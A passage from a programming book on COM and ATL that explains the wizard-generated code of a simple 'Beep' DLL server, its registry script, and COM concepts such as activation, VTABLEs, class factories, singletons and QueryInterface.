on how many calls you are planning to make to an interface. If
you are calling a large number of functions in an interface,
clearly you will want to call CoCreateInstanceEx and Release
only once.
54 Chapter 4 •
Creating your own COM Clients and Servers
F
I
V
E
5
Understanding
ATL-Generated
Code
The source code for our server DLLs is being generated by ATL.
For many people it is perfectly OK to never look at the code ATL
created. For others, "not knowing" the details of this code is
unacceptable. This chapter gives you a quick tour of the code
produced by ATL. The code for the server DLL that is now sitting
on your hard drive really resides in three different types of files.
• First, there are the traditional C++ source and header files.
Initially, all of this code is generated by the ATL wizards.
• The Beep method was added by the "Add Method" dia-
log, which modified the MIDL interface definition. The
MIDL source code is in an IDL file - in this example it's
BeepServer.IDL. The MIDL compiler will use this file to
create several output files. These files will take care of
much of the grunt work of implementing the server. As
we add methods to the COM object, we'll be adding defi-
nitions the IDL file.
• The third group of source files are automatically gener-
ated MIDL output files created by the MIDL compiler.
These files are source code files, but because they are
automatically generated by the MIDL compiler from IDL
56 Chapter 5 •
Understanding ATL-Generated Code
source code, these files are never modified directly either
by wizards or by developers. You might call them "second
generation files" - the wizard created an IDL file and the
MIDL compiler created source code files from that IDL
file. The files created by the MIDL compiler include:
1.
BeepServer.RGS - Registration script for the server.
2.
BeepServer.h - This file contains definitions for the
COM components.
3.
BeepServer_i.c - GUID structures for the COM
components.
4.
Proxy/Stub files - This includes "C" source code,
DLL definitions, and makefile (.mk) for the Proxy
and Stub.
The ATL wizard also creates an application "resource". If
you look in the project resources, you'll find it under "REGIS-
TRY". This resource contains the registration script defined in
BeepServer.RGS. The name of the resource is IDR_BEEPOBJ.
We look at all of these different components in the sections
below. See also Chapter 15 for additional details on ATL.
The Main C++ Module
When we ran the ATL COM AppWizard, we chose to create a
DLL-based server and we chose not to use MFC. The first selec-
tion screen of the wizard determined the overall configuration of
the server.
The AppWizard created a standard DLL module. This type
of standard DLL does not have a WinMain application loop, but
it does have a DllMain function used for the initialization of the
DLL when it gets loaded:
CComModule _Module;
BEGIN_OBJECT_MAP(ObjectMap)
OBJECT_ENTRY(CLSID_BeepObj, CBeepObj)
END_OBJECT_MAP()
The Main C++ Module
57
Additonal Information and Updates: http://www.iftech.com/dcom
/////////////////////////////////////////////////////
// DLL Entry Point
extern "C"
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwRea-
son, LPVOID /*lpReserved*/)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
_Module.Init(ObjectMap, hInstance);
DisableThreadLibraryCalls(hInstance);
}
else if (dwReason == DLL_PROCESS_DETACH)
_Module.Term();
return TRUE; // ok
}
Really all the DllMain function does is check if a client is
attaching to the DLL and then does some initialization. At first
glance, there's no obvious indication that this is a COM applica-
tion at all.
The COM portion of our new server is encapsulated in the
ATL class CComModule. CComModule is the ATL server base
class. It contains all the COM logic for registering and running
servers, as well as starting and maintaining COM objects. CCom-
Module is defined in the header file "atlbase.h". This code
declares a global CComModule object in the following line:
CComModule _Module;
This single object contains much of the COM server func-
tionality for our application. Its creation and initialization at the
start of program execution sets a chain of events in motion.
ATL requires that your server always name its global CCom-
Module object "_Module". It's possible to override CComModule
with your own class, but you aren't allowed to change the name.
If we had chosen an executable-based server, or even a DLL
with MFC, this code would be significantly different. There
would still be a CComModule-based global object, but the entry
58 Chapter 5 •
Understanding ATL-Generated Code
point of the program would have been WinMain(). Choosing a
MFC-based DLL would have created a CWinApp-based main
object.
Object Maps
The CComModule is connected to our COM object (CBeepObj)
by the object map seen in the previous section. An object map
defines an array of all the COM objects the server controls. The
object map is defined in code using the OBJECT_MAP macros.
Here is our DLL's object map:
BEGIN_OBJECT_MAP(ObjectMap)
OBJECT_ENTRY(CLSID_BeepObj, CBeepObj)
END_OBJECT_MAP()
The OBJECT_ENTRY macro associates the CLSID of the
object with a C++ class. It's common for a server to contain more
than one COM object - in that case there will be an
OBJECT_ENTRY for each one.
Export File
Our In-Process DLL, like most DLLs, has an export file. The
export file will be used by the client to connect to the exported
functions in our DLL. These definitions are in the file BeepS-
erver.def:
; BeepServer.def : Declares the module parameters.
LIBRARY "BeepServer.DLL"
EXPORTS
DllCanUnloadNow @1 PRIVATE
DllGetClassObject @2 PRIVATE
DllRegisterServer @3 PRIVATE
DllUnregisterServer@4 PRIVATE
Export File
59
Additonal Information and Updates: http://www.iftech.com/dcom
It is important to note what is not exported: there are no
custom methods here. There is no export for the "Beep" method.
These are the only exports you should see in a COM DLL.
Looking into the BeepServer.CPP file, we see that the imple-
mentation of these four functions is handled by the COM appli-
cation class. Here's the code for DllRegisterServer:
// DllRegisterServer - Adds entries to the system reg-
istry
STDAPI DllRegisterServer(void)
{
// registers object, typelib and all interfaces in
typelib
return _Module.RegisterServer(TRUE);
}
In this case, the DLL just calls ATL's CComModule::Regis-
terServer() method. CComModule implements the server registra-
tion in a way that is compatible with In-Process, Local, and
Remote COM servers. The other three exported DLL functions
are equally spartan. The actual implementation is hidden in the
ATL templates.
Most of the code described above is DLL specific code. You
will only get this configuration if you choose to create a DLL-
based server. None of the code in the main module is COM spe-
cific. The main module is entirely devoted to the infrastructure
required to deliver COM objects in a DLL, and this code will be
significantly different depending on the type of server. The
actual code inside the server is much more uniform. The imple-
mentation of a coclass and interface is identical regardless of the
type of server (DLL, EXE, server) you create. You should be able
to take a coclass from a DLL server and implement it in an EXE-
based server with few changes.
60 Chapter 5 •
Understanding ATL-Generated Code
The COM Object - "CBeepObj"
A COM server has to implement at least one COM object. We are
using a single object named "CBeepObj". One of the most inter-
esting things about this object is that the code was entirely gen-
erated by ATL wizards. It is quite remarkable how compact this
object definition turns out to be. The class definition is found in
BeepObj.h:
// BeepObj.h : Declaration of the CBeepObj
#include "resource.h" // main symbols
//////////////////////////////////////////////////////
// CBeepObj
class ATL_NO_VTABLE CBeepObj :
public CComObjectRootEx,
public CComCoClass<CBEEPOBJ, &CLSID_BeepObj,
public IBeepObj
{
public:
CBeepObj()
{
}
DECLARE_REGISTRY_RESOURCEID(IDR_BEEPOBJ)
BEGIN_COM_MAP(CBeepObj)
COM_INTERFACE_ENTRY(IBeepObj)
END_COM_MAP()
// IBeepObj
public:
STDMETHOD(Beep)(/*[in]*/ long lDuration);
};
This simple header file defines a tremendous amount of
functionality, as described in the following sections.
Object Inheritance
61
Additonal Information and Updates: http://www.iftech.com/dcom
Object Inheritance
Probably the first thing you noticed about this code is the multi-
ple inheritance. Our COM object has three base classes. These
base classes are template classes which implement the standard
COM functionality for our object. Each of these classes defines a
specific COM behavior.
CComObjectRootEx<> (and CComObjectRoot<>) are the
root ATL object class. These classes handle all the reference
counting and management of the COM class. This includes the
implementation of the three required IUnknown interface func-
tions: QueryInterface(), AddRef(), and Release(). When our
CBeepObj object is created by the server, this base class will
keep track of it throughout its lifetime.
The template for CComObjectRootEx specifies the argument
CComSingleThreadModel. Single threading means that the COM
object won't have to handle access by multiple threads. During
the setup of this object we specified "Apartment threading".
Apartment threading uses a windows message loop to synchro-
nize access to the COM object. This approach is the easiest
because it eliminates many threading issues.
CComCoClass<> defines the Class factories that create ATL
COM objects. Class factories are special COM classes that are
used to create COM objects. The CComCoClass uses a default
type of class factory and allows aggregation.
IBeepObj is the interface this server implements. An inter-
face is defined as a C++ struct (recall that structs in C++ act like a
class but can have only public members). If you dig into the
automatically generated file BeepServer.h, you'll find that MIDL
has created a definition of our interface.
interface DECLSPEC_UUID(
"36ECA947-5DC5-11D1-BD6F-204C4F4F5020")
IBeepObj : public IUnknown
{
public:
virtual /* [helpstring] */ HRESULT
STDMETHODCALLTYPE Beep(
62 Chapter 5 •
Understanding ATL-Generated Code
/* [in] */ long lDuration) = 0;
};
The DECLSPEC_UUID macro lets the compiler associate a
GUID with the interface name. Note that our single method
"Beep" is defined as a pure virtual function. When the CBeepObj
is defined, it will have to provide an implementation of that
function.
One peculiar thing about the Class definition of CBeepObj is
the ATL_NO_VTABLE attribute. This macro is an optimization
that allows for faster object initialization.
The Class Definition
Our object uses a default constructor. You can add special initial-
ization here if required, but there are some limitations. One con-
sequence of using the ATL_NO_VTABLE, is that you aren't
allowed to call any virtual methods in the constructor. A better
place for complex initialization would be in the FinalConstruct
method (which is inherited from CComObjectRootEx.) If you
want to use FinalConstruct, override ATL's default by declaring it
in the class definition. It will be called automatically by the ATL
framework. (FinalConstruct is often used to create aggregated
objects.)
The DECLARE_REGISTRY_RESOURCEID() macro is used to
register the COM object in the system registry. The parameter to
this macro, IDR_BEEPOBJ, points to a resource in the project.
This is a special kind of resource that loads the MIDL generated
".rgs" file.
BEGIN_COM_MAP is a macro that defines an array of COM
interfaces that the CComObjectRoot<> class will manage. This
class has one interface, IBeepObj. IBeepObj is our custom inter-
face. It's common for COM objects implement more than one
interface. All supported interfaces would show up here, as well
as in the class inheritance at the top of the class definition.
The Method
63
Additonal Information and Updates: http://www.iftech.com/dcom
The Method
At last, we get to the methods. As an application programmer,
our main interest will be in this section of the code. Our single
Beep() method is defined in the line:
STDMETHOD(Beep)(/*[in]*/ LONG duration);
STDMETHOD is an OLE macro that translates to the following:
typedef LONG HRESULT;
#define STDMETHODCALLTYPE __stdcall
#define STDMETHOD(method) virtual HRESULT STD-
METHODCALLTYPE method
We could have written the definition in a more familliar C++
style as follows:
virtual long _stdcall Beep(long lDuration);
We'll find the code for this method in the BeepObj.cpp
module. Because this COM object has only one method, the
COM object's source code is pretty sparse. All the COM logic of
the object was defined in the ATL template classes. We're left
with just the actual application code. When you are writing real
applications, most of your attention will be focused on this mod-
ule.
STDMETHODIMP CBeepObj::Beep(long lDuration)
{
::Beep( 660, lDuration );
return S_OK;
}
Again, the function definition translates into a standard func-
tion call.
long _stdcall CBeepObj::Beep( long lDuration )
64 Chapter 5 •
Understanding ATL-Generated Code
The API beep routine takes two parameters: the frequency
of the beep and its duration in milliseconds. If you're working
with Windows 95, these two parameters are ignored and you get
the default beep. The scope operator "::" is important, but it's
easily forgotten. If you neglect it, the method will be calling
itself.
The _stdcall tag tells the compiler that the object uses stan-
dard windows calling conventions. By default C and C++ use the
__cdecl calling convention. These directives tell the compiler
which order it will use for placing parameters on, and removing
them from, the stack. Win32 COM uses the _stdcall attribute.
Other operating systems may not use the same calling conven-
tions. Notice that our Beep() method returns a status of S_OK.
This doesn't mean that the caller will always get a successful
return status - remember that calls to COM methods aren't like
standard C++ function calls. There is an entire COM layer
between the calling program (client) and the COM server.
It's entirely possible that the CBeepObj::Beep() method
would return S_OK, but the connection would be lost in the
middle of a COM call. Although the function would return S_OK,
the calling client would get some sort of RPC error indicating the
failure. Even the function result has to be sent through COM
back to the client!
In this example the COM server is running as an In-Process
server. Being a DLL, the linkage is so tight that there's very little
chance of transmission error. In future examples, where our
COM server is running on a remote computer, things will be very
different. Network errors are all-too-common, and you need to
design your applications to handle them.
Server Registration
The COM subsystem uses the Windows registry to locate and
start all COM objects. Each COM server is responsible for self-
registering, or writing it's entries into the registry. Thankfully, this
task has been mostly automated by ATL, MIDL and the ATL wiz-
ard. One of the files created by MIDL is a registry script. This
Registry Scripts
65
Additonal Information and Updates: http://www.iftech.com/dcom
script contains the definitions required for the successful opera-
tion of our server. Here is the generated script:
HKCR
{
BeepObj.BeepObj.1 = s 'BeepObj Class'
{
CLSID = s '{861BFE30-56B9-11D1-BD65-
204C4F4F5020}'
}
BeepObj.BeepObj = s 'BeepObj Class'
{
CurVer = s 'BeepObj.BeepObj.1'
}
NoRemove CLSID
{
ForceRemove {
861BFE30-56B9-11D1-BD65-204C4F4F5020}
= s 'BeepObj Class'
{
ProgID = s 'BeepObj.BeepObj.1'
VersionIndependentProgID =
s 'BeepObj.BeepObj'
ForceRemove 'Programmable'
InprocServer32 = s '%MODULE%'
{
val ThreadingModel = s 'Apartment'
}
}
}
}
Registry Scripts
You may be familiar with .REG scripts for the registry. RGS
scripts are similar but use a completely different syntax and are
only used by ATL for object registration. The syntax allows for
simple variable substitution, as in the %MODLUE% variable.
66 Chapter 5 •
Understanding ATL-Generated Code
These scripts are invoked by the ATL Registry Component (Reg-
istrar). This was defined with a macro in the object header:
DECLARE_REGISTRY_RESOURCEID(IDR_BEEPOBJ)
Basically, this script is used to load registry settings when
the server calls CComModule::RegisterServer(), and to remove
them when CComModule::UnregisterServer() is called. All COM
registry keys are located in HKEY_CLASSES_ROOT. Here are the
registry keys being set:
• BeepObj.BeepObj.1 - Current version of the class
• BeepObj.BeepObj - Identifies the COM object by name
• CLSID - The unique class identifier for the Object. This
key has several sub-keys.
1.
ProgID - The programmatic identifier.
2.
VersionIndependentProgID - Associates a ProgID
with a CLSID.
3.
InprocServer32 - defines the server type (as a DLL).
This will be different, depending on whether this is
a In-Process, Local, or Remote server.
4.
ThreadingModel - The COM threading model of the
object.
5.
TypeLib - The GUID of the type library of the server.
Summary
This chapter has provided a quick tour of most of the ATL code
related to the Beep server. Do you now know everthing about
ATL? No. But you now have a number of landmarks that will
help you in navigating the code that the ATL wizard generates.
See Chapter 15 for additional details.
S
I
X
6
Understanding
the Client and
Server
In the previous chapters we built simple client and server appli-
cations. The emphasis on was on getting a sample application
up-and-running as quickly as possible. That's a great place to
start. After all, building working components is ultimately what
you want to get out of this book.
This chapter deals with some of the behind-the-scenes detail
of what is going on. We are going to make short work of these
subjects. That isn't because they aren't important, but because
this book focuses on the practical implementation of COM. It's
my experience that the theoretical parts of COM tend to obscure
its simplicity. Once you are able to create useful clients and serv-
ers, the details of COM's implementation become more useful.
A certain amount of the theory of COM is necessary to prop-
erly use it. I've attempted to distill it into a few short but pithy
segments.
Principles of COM
Let's start this discussion with five design principles that every-
one who uses COM should understand:
68 Chapter 6 •
Understanding the Client and Server
• COM is about interfaces
• COM is language-independent.
• COM is built around the concept of transparency
• Interfaces are contracts between the client and server.
• COM is a "standard", not a compiler or language.
COM is About Interfaces
As we've said before, all COM interaction is through interfaces.
It's a point worth repeating. You won't find any shortcuts or end-
runs around this basic principle. The rationale behind interfaces
is that it is critical to isolate a component from its user (client).
Total isolation dramatically limits the amount of coupling
between the client and server. In many ways COM was mis-
named - it should have been called "i++".
COM is Language-Independent
Sometimes we programmers are so wrapped up in a particular
language that we begin to see every programming problem in
terms of it. I've written this book with a strong slant towards
C++, and more especially Microsoft's Visual C++. There's a rea-
son for this: you have to implement COM in some language, and
C++ is a very good choice.
You can, however, write perfectly good COM programs in
Java or C, or even Visual Basic. This means COM methods must
be usable from many different languages. This includes lan-
guages like Visual Basic and Java that don't have pointers. The
concept of an interface is easily expressed as a pointer, but it can
be implemented without them. The most common expression of
this we're likely to see is the use of the IDispatch interface in
Visual Basic.
One of the essential parts of the COM standard is that it
specifies how clients and servers communicate. In Visual C++,
every COM method is called with "Pascal" calling conventions.
While this isn't an absolute requirement of COM, it is a generally
observed convention.
Principles of COM
69
Additonal Information and Updates: http://www.iftech.com/dcom
COM is Built Around the Concept of Transparency
In many cases, the COM server and client are running as differ-
ent processes. Your program normally doesn't have access to
address space on the other process. There are ways to get
around this limitation, but not if the server is running on a com-
puter elsewhere on the network. You can't even assume the
computer you're connecting to is running Windows. A client
can't directly access pointers, devices, or anything else on a
remote computer running a DCOM server.
COM is therefore built around the concept of local/remote
transparency. What transparency means is that the client should
need to know nothing about how the server is implemented.
This enormously simplifies the task of writing client programs.
With COM, both an In-Process server and a remote server
behave exactly the same as far as the client is concerned. Of
course, there are real differences between an In-Process (DLL)
client and a server running on a remote computer, but they
aren't important to the client.
Much of the design of COM is aimed at hiding local/remote
differences. Interfaces, for example, provide a mask that hides a
great deal of behind-the-scenes implementation. COM defines
the communication protocols and provides standard ways of
connecting to other computers.
Interfaces are Contracts Between the Client and Server
A contract is an agreement between two or more parties to do
(or not do) some definite thing. A good contract allows both par-
ties to work independently without concern about the rules
changing.
Even so, contracts are not perfect and they often have to be
flexible. For example, you have to check that the server supports
all the interfaces you are calling every time you connect. Once
you've found an interface, the COM contract guarantees that the
interface you want to use hasn't changed its methods or parame-
ters. If an interface is available it should always behave in a pre-
dictable way. COM guarantees this simply by declaring that
70 Chapter 6 •
Understanding the Client and Server
Interfaces never change. If this seems like a dangerous method
of enforcement, bear the following in mind:
COM IS A STANDARD, NOT A COMPILER OR LANGUAGE.
Actually, COM is a model. By model, we mean an 'ideal'
standard for comparison. Unfortunately, the word model has a
number of other meanings. A standard is a set of rules every-
body agrees on. After all, even a computer language is actually
just a special type of a standard. Usually language compilers pro-
vide you with nice features such as type and syntax checking.
COM is a more loosely defined standard. It defines how clients
and servers can communicate. If everybody follows the standard,
communication will succeed.
The C++ compiler won't do any COM syntax and type
checking for you. You have to know and follow the rules. Luck-
ily, there is a tool that checks COM rules. It is an 'interface' com-
piler called MIDL. We've mentioned MIDL before several times; it
is a compiler-like tool that generates COM-compliant code. You
don't have to use MIDL. I'm not using MIDL in the simple client
example seen in Chapter 2, mostly because it hides many impor-
tant aspects of COM. When we get to more sophisticated appli-
cations (as we will in subsequent chapters), we'll use MIDL
whenever possible. However, MIDL cannot guarantee that an
interface has the right functions. Only programmers can guaran-
tee that by following and enforcing conventions among them-
selves.
Software Changes. Interfaces Don't
This brings up the obvious question: What happens when you
need to enhance or change an interface? There are two answers
to this question depending on where you are in the software
development cycle.
We talk about an interface being 'published'. This doesn't
mean it has been submitted to some academic COM journal,
rather that it has been made known to other users. This may
mean a software release, or some written documentation, or
even a conversation with fellow developers. In any case, once
Activation
71
Additonal Information and Updates: http://www.iftech.com/dcom
people are using your interface, you cannot change it. Obvi-
ously, interfaces are going to need enhancement. This is accom-
plished by creating a completely new interface, and giving it a
new name. One example of this process can be seen in the inter-
face IClassFactory. When Microsoft needed to add licensing to
this interface, they created a new one called IClassFactoryEx (Ex
for extended). The extended interface is quite similar, and may
even be implemented by the same coclass. We can rest assured
that the original IClassFactory interface hasn't changed and will
continue to function normally in older code. The new interface is
something completely separate with a new name and a new
GUID.
If you're in the midst of developing an interface and it hasn't
been published, feel free to change it. The COM police aren't
going to knock down your doors. It is incumbent on you to
ensure that both the client and server know about the changes. If
you change an interface on the server and don't update your cli-
ent, there will obviously be consequences. Once the interface
has been published, however, you need to leave it alone or
you're going to have angry users.
Activation
The first time you successfully execute a COM client and server,
you realize there's a lot going on to create components and start
servers. When we ran the client application in the previous sec-
tion there were several pieces of hand waving, and these pieces
require some explanation if you want completely understand
what is happening. Let's look at what happened "behind the
scenes" so that it is clear that COM is doing nothing magic.
When the client application first called the server, a rather
large collection of software components made the connection
possible. The following figure shows you the components:
72 Chapter 6 •
Understanding the Client and Server
There are several important components in this picture:
• The client and server applications.
• The COM library.
• The Service Control Manager.
• The Windows Registry.
The COM library is loaded into both the client and server
modules as a DLL. The COM library contains all the "Co" API
functions, like CoInitialize(). Currently the COM library is imple-
mented in the OLE32.DLL module.
When the client calls CoCreateInstance(), it is calling a
method in the COM library. CoCreateInstance does a number of
things, but the first is to locate the requested components of the
server in the Windows Registry. All the functionality of locating
and starting COM components is handled by a COM "manager"
application called the Service Control Manager (SCM). (in Win-
dows NT the SCM is part of the RPCSS service.)
The SCM retrieves information about the server from the
Window registry. The registry holds all of the GUIDs for all of
the COM servers and interfaces supported by a given machine.
The registry also maps those GUIDs to specific programs and
Figure 6–1
Components involved in COM interactions
Client Program
COM Library
COM Server
1
COM Library
COM Server
2
COM Library
Registry
Service Control Manager (SCM)
Calls
CoCreateInstance()
Start
Start
More About Interfaces
73
Additonal Information and Updates: http://www.iftech.com/dcom
Services on the machine so that the COM servers can start auto-
matically when they are called.
The Registry has entries for the different COM servers, their
classes and interfaces. From this registry information, the SCM
can start the correct server for any object requested by the client
application. The SCM works with the COM library to create COM
objects and return pointers to interfaces in objects.
For an in-process server, starting the server is rather simple.
It involves locating and loading a DLL that contains the
requested coclass. The SCM gets the path to the DLL from the
registry, looking it up by the the GUID. For out-of-process serv-
ers, the SCM will actually start a new process for the server. For
servers on remote computers, the SCM will send requests to the
remote computer's SCM.
Once the server is started, and the client has a pointer to the
interface, the SCM drops out of the picture. The SCM is only
responsible for the activation of the server. Once everything is
started, the client and server handle their own interaction. Like
most networking, just getting communications started is a major
task. Once communication is established, things tend to run
quite well by themselves.
More About Interfaces
The end product of CoCreateInstance is a pointer to an interface.
For the C++ programmer, an interface pointer looks exactly like
a pointer to a C++ class. Do not be deceived: a COM interface is
not a C++ class. An interface is a binary object with a rigidly
defined internal structure. Although it looks a lot like a class, it
lives by a different set of rules. This point seems esoteric, but it is
very important.
Because of the special condition imposed on coclasses, you
must follow these rules when you create a COM interface :
• All Interfaces must implement methods called QueryInter-
face(), AddRef(), and Release(). In that exact order. This
fact is hidden by high level tools like ATL, but it has been
74 Chapter 6 •
Understanding the Client and Server
happening behind the scenes because of the activities of
MIDL. These are the "Big Three" methods in all interfaces.
• Other methods follow, starting in the 4th position.
• Interfaces never change once they are published.
• Interfaces are strongly typed. There can be no ambiguity
in parameters.
• Interfaces are named I*.
Here is how we define a simple interface with a single
method. This definition was written in straight C++.
interface IBeep: public IUnknown
{
public:
HRESULT QueryInterface(REFIID, void**);
ULONG AddRef();
ULONG Release();
HRESULT Beep();
};
All COM interfaces are based on IUnknown. IUnknown
always has three methods, QueryInterface, AddRef, and Release.
These methods are pure virtual, which means they have no code
associated with them. We also sometimes call this a pure abstract
class. These three methods MUST be defined in our implementa-
tion of IBeep or the compiler will complain. IUnknown is
defined in several of the standard headers. The definition is as
follows:
#define interface struct
interface IUnknown
{
public:
virtual HRESULT QueryInterface(REFIID, void**)=0;
virtual ULONG AddRef()=0;
virtual ULONG Release()=0;
};
More About Interfaces
75
Additonal Information and Updates: http://www.iftech.com/dcom
You may not have seen the keyword 'interface' used before
in C++. You'll be seeing a lot of it in COM programming. Here's
how we defined interface:
#define interface struct
Unlike in the "C" language, in C++ a struct is the same as a
class, except it has only public methods. Our definition of IUn-
known would work exactly the same if we had written "class
IUnknown" instead of using interface. In Visual C++, we use
"interface" as a convention to remind us that COM has special
rules. The definition of "interface" is compiler dependent, so this
might not be true for other C++ implementations. The layout of
the Interface is extremely important. All COM interfaces are
defined in such a way that they provide QueryInterface, AddRef,
and Release, and in this exact order. When the compiler pro-
cesses this code, it will implement the interface using a C++
VTABLE structure.
VTABLES - Virtual Function Tables
A VTABLE, or virtual function table, is a pointer to an array of
function pointers. Therefore, in all COM objects the first element
points to QueryInterface, the second pointer points to AddRef,
and the third points to Release. User defined methods can fol-
low.
A VTABLE looks like this:
Figure 6–2
VTABLE structure
0
1
2
VTABLE
QueryInterface() {...}
Addref() {...}
Release() {...}
Functions
IBeep->
Interface
76 Chapter 6 •
Understanding the Client and Server
When you call a method through a VTABLE, you're adding a
level of indirection. The interface pointer (IBeep->) points to the
entry point in the VTABLE. The VTABLE points to the actual
function. Calling functions through a VTABLE is very efficient.
Another way to look at a VTABLE is as an array of pointers.
In this array, the first 3 elements are always the same. The func-
tion at element 0 is a pointer to a method you can use to dis-
cover other interfaces. This function is known as QueryInterface.
The 2nd element is the address of a function that increments the
reference count of the interface. The 3rd element, points to a
function that decrements the reference count. The first 3 ele-
ments are all part of IUnknown, and every interface implements
them.
After the first 3 elements of the array, we have pointers to
interface-specific functions. In our example program, the 4th ele-
ment points to the function Beep. All of the subsequent elements
of the array point to custom methods of the interface. These
methods are not implemented by the interface. It simply points
to the address of the function in the coclass. The COM coclass is
responsible for actually implementing the body of the functions.
Let's look at what happens when you call a method, Query-
Interface for example. The program locates QueryInterface by
looking in the first entry in the VTABLE. The program knows it's
the first one because of the interface definition. This entry points
to the actual location in memory of the method called Query-
Interface(). After this, it follows standard COM calling conven-
tions to pass parameters and execute the method.
Why is the order of these functions important? This gets
back to the issue of language independence. You can use an
interface even if you don't know its definition. However, you can
only call the three standard methods QueryInterface, AddRef,
and Release. This is possible because ALL COM interfaces have
the same VTABLE footprint as the IUnknown interface.
To understand why this generic structure is useful, let's look
at the methods in IUnknown. QueryInterface, AddRef, and
Release. In our simple example client, we only see one of these
functions - Release. Remember there's a lot going on behind the
scenes in a COM program. We treat CoCreateInstance as if it
More About Interfaces
77
Additonal Information and Updates: http://www.iftech.com/dcom
were a black box: Somehow it creates a pointer to a COM inter-
face which our application can use. CoCreateInstance actually
performs four distinct steps:
• Get a pointer to an object that can create the interface -
the Class Factory.
• Create the interface with QueryInterface().
• Increment the reference count of the interface with
AddRef()
• Destroy the class factory object with Release();
Maybe you're now starting to see how we use the three
methods of IUnknown. They are being called all the time --
behind the scenes. Let's take a closer look at a class factory.
The Class Factory
A class factory is an object that knows how to create one or
more COM objects. You call QueryInterface() on the class factory
object to get a specific interface. You can write COM programs
for years and never see a class factory. As far as the COM appli-
cations programmer is concerned, the class factory is just another
part of the plumbing. If you're using ATL to generate your COM
servers, the class factory object is hidden. ATL creates a default
class factory that works for most COM objects. When you look
into the actual code of CoCreateInstance, you'll find it's using a
class factory. Here's the manual way of getting an interface.
There's usually no reason to do this explicitly, unless you're opti-
mizing the creation of interface objects. Looking at the code,
however, sheds some light on what CoCreateInstance() really
does.
// clsid - class that implements our interface
// pOuterUnk is NULL
// dwClsContext is the server context
// iid is the interface we're trying to create.
// pUnk will be returned
HRESULT CoCreateInstance( const CLSID& clsid,
IUnknown *pOuterUnk,
DWORKD dwClsContext,
const IID& iid,
78 Chapter 6 •
Understanding the Client and Server
void **pUnk )
{
HRESULT hr;
// return NULL if we can't create object
*pUnk = NULL;
IClassFactory *pFac; // a required COM interface
// get a pointer to special class factory interface
hr = CoGetClassObject( clsid, CLSCTX_LOCAL_SERVER,
NULL, IID_IClassFactory, (void**)&pFac );
if (SUCCEEDED(hr))
{
// use the class factory to get
// the unknown interface
hr = pFac->CreateInstance(pOuterUn, iid, pUnk );
// release the factory
pFac->Release();
}
// pUnk points to our interface
return hr;
}
You probably noticed that the class factory is actually a
COM interface. We had to call CoCreateInstance to get the class
factory interface. Once you get the interface, you call its Cre-
ateInstance member. As you can see, the class factory does its
job and then conveniently disappears.
There may be times when you'll want to override the default
factory. One example might be a server that produces a large
number of interfaces. For efficiency, you would want to keep
this class factory in memory until it was finished with its work.
To override the default, you'll need to write a custom implemen-
tation of IClassFactory.
We've now explained CoCreateInstance, but we've intro-
duced two new mysterious functions: CoGetClassObject() and
More About Interfaces
79
Additonal Information and Updates: http://www.iftech.com/dcom
CreateInstance(). CreateInstance() is a method of the COM stan-
dard interface IClassFactory. It creates a generic interface which
we can use to get the IBeep interface. CoGetClassObject() is a
bigger problem. A proper discussion of CoGetClassObject()
belongs in the server side of our COM application. For now, we
can think of it as the function that locates, starts, and requests a
COM class from the server. The actual code of the class factory
interface is implemented by the ATL template class CoComOb-
ject. CoComObject uses the macro DEFAULT_CLASSFACTORY,
which implements the actual class factory.
Singleton Classes
ATL implements class factories through several macros.
One of the more commonly used of these macros is
DECLARE_CLASSFACTORY_SINGLETON. If you include this
macro in your class header, the class will become a singleton.
A singleton object is a class that is only created once on a
server. The single instance is shared by all clients that request it.
DECLARE_CLASSFACTORY
The object will have standard
behavior. CComCoClass uses this
macro to declare the default class
factory.
DECLARE_CLASSFACTORY_EX(cf)
Use this macro to override the
default class factory. To use this you
would write your own class factory
that derived from CComClassFac-
tory and override CreateInstance.
DECLARE_CLASSFACTORY2( lic )
Controls creation through a license.
Uses the CComClassFactory2 tem-
plate.
DECLARE_CLASSFACTORY_SINGLETON Creates a singleton object. See the
discussion below.
Table 6.1
Different class factory options
80 Chapter 6 •
Understanding the Client and Server
Singletons are a lot like global variables, in that everyone con-
nected to the COM server shares them. Depending on the con-
figuration of the COM server, the singleton can also be 'global'
for the server computer. If your server has some shared resource
that you want all clients to use, a singleton class might be a good
choice.
Singleton objects are a lot more complicated than they may
appear. You must be very careful in your application design and
recognize the possible difficulties that singletons can present.
The most obvious problem with singletons is that they can
easily become a resource bottleneck. Every client will have to
share access to this single resource, and performance may suffer.
You need to be sure the singleton object doesn't get tied up with
time consuming processing.
There are a host of threading problems associated with sin-
gletons. Unless the object is free threaded, you're going to have
threading issues. If your singleton keeps callback or connection
points, it will not automatically call these interfaces on the
proper thread, and you'll get errors. Despite this issue, you
should probably implement your singletons as free threaded.
That means you'll have to ensure that the code you write is com-
pletely thread safe.
Singletons also may not be unique. You often can't count on
an object being the one-and-only instance of its class. This is
especially true for in-process servers. In this case, the singleton
isn't unique on the server computer. There will be a separate
copy with each in-process DLL that gets loaded. If you're expect-
ing one instance per computer, this won't work.
Finally, even out-of-process (EXE) servers may have multi-
ple instances. Sometimes a server can be started for multiple
login accounts. This means your singleton class can experience
unexpected behavior depending on which severs get started.
Despite all of these caveats, there are places where a single-
ton class is appropriate. In general you will create it as part of a
COM server implemented as an NT service and use it on the net-
work to coordinate the activites of multiple clients.
More About Interfaces
81
Additonal Information and Updates: http://www.iftech.com/dcom
Understanding QueryInterface
Interfaces are the most important concept in COM. At its lowest
level, QueryInterface is extremely important in the implementa-
tion of interfaces. This function is being called behind the
scenes, so we often don't see it in client programs. When using
COM at the application level, we are more likely to see interfaces
created through CoCreateInstance. If you delve very far into
CoCreateInstance, you'll see that it is calling QueryInterface. If
you start looking at the ATL generated code, you'll see that calls
to QueryInterface are quite common. Although it is often hidden,
it is important to understand what QueryInterface does, as well
as the rules associated with it.
The purpose of QueryInterface is to get an interface from a
COM object. Every COM object supports at least two interfaces.
The first interface is always IUnknown. The second interface is
whatever useful interface the object was designed to support.
Many COM objects support several useful interfaces.
Once you have connected to IUnknown, you can get any of
the other interfaces in a COM object. You pass in the IID of the
requested interface, and QueryInterface will return a pointer to
that interface. You can call any function in the given interface
using that pointer. If the COM object doesn't support the
requested interface, it returns the error E_NOINTERFACE.
hr = CoCreateInstance(
clsid, // COM class id
NULL, // outer unknown
CLSCTX_SERVER, // server INFO
ID_IUnknown, // interface id
(void**)&IUnk ); // pointer to interface
if (SUCCEEDED(hr))
{
IBeepDllObj *pBeep;
hr=IUnk->QueryInface(
IID_IbeepDllObj,(void**)&pBeep );
...
